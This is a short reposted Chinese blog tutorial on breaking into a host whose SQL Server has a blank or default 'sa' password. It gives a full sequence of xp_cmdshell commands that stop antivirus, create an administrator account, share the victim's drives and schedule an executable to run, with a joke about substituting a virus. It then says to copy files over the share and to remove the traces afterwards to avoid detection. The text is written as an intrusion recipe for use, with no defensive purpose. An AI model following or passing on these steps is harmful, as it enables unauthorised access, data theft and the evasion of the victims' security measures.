转自:http://blog.sina.com.cn/s/blog_5070b2cd01008blt.html


要***主机IP:192.168.11.56


前提是:

1.对方主机有安装SQL server软件

2.知道sa(SQL的帐号)的密码(一般情况下,的密码为空或是sa)。

开始***:
1.打开自己的sql 客户端查询分析器
  输入192.168.11.56启动对方sql server服务器

2.调用sql server的xp_cmdshell命令

exec xp_cmdshell "net start"                                     注释:查看对方开启的服务,寻找对方有无杀毒软件。

exec xp_cmdshell "net stop savroam"                        注释:savroam为一个杀毒软件进程,这条命令是关闭该进程。

exec  xp_cmdshell "net user test 123456 /add"          注释:在对方主机创建帐户:test  密码:123456

exec  xp_cmdshell "net user "                                     注释:查看对方现有帐户,确认test已经加入。   
   

exec xp_cmdshell "net localgroup administrators test /add"        注释:把test加入管理员组,获得更高权限。
 

exec  xp_cmdshell "net start server"        开启对方共享服务,如果在第一条命令中有 server 服务,这步可以省。                                            

exec   xp_cmdshell "net share d=d:\"                      注释:把对方D盘共享。

exec  xp_cmdshell "net share test=c:\oracle"                注释:或者只共享C盘下的oracle文件夹,共享名test。
              
exec  xp_cmdshell "at 20:00 c:\qq.exe"       注释:让对方在20点自动开启QQ。如果把QQ换成病毒,呵呵……

3.通过IE进行***                

在IE地址栏中输入\\192.168.11.56(对方IP),在对方共享的文件夹中找出你想要的文件进行复制。             

4.撤退(清除你的修改,以免被发现。)

xp_cmdshell "net share test /delete"     注释:删除test共享。
xp_cmdshell "net share d /delete"         注释:删除D盘共享。
xp_cmdshell "net share"                  注释: 查看还有哪些共享。
xp_cmdshell "net localgroup administrators test /delete"     注释:让帐号test离开管理员组。
xp_cmdshell "net user test /delete"                         注释:删除test帐号
mdshell "net stop server"                                    注释:停止共享服务
xp_cmdshell "net start savroam"                             注释:开启对方杀毒软件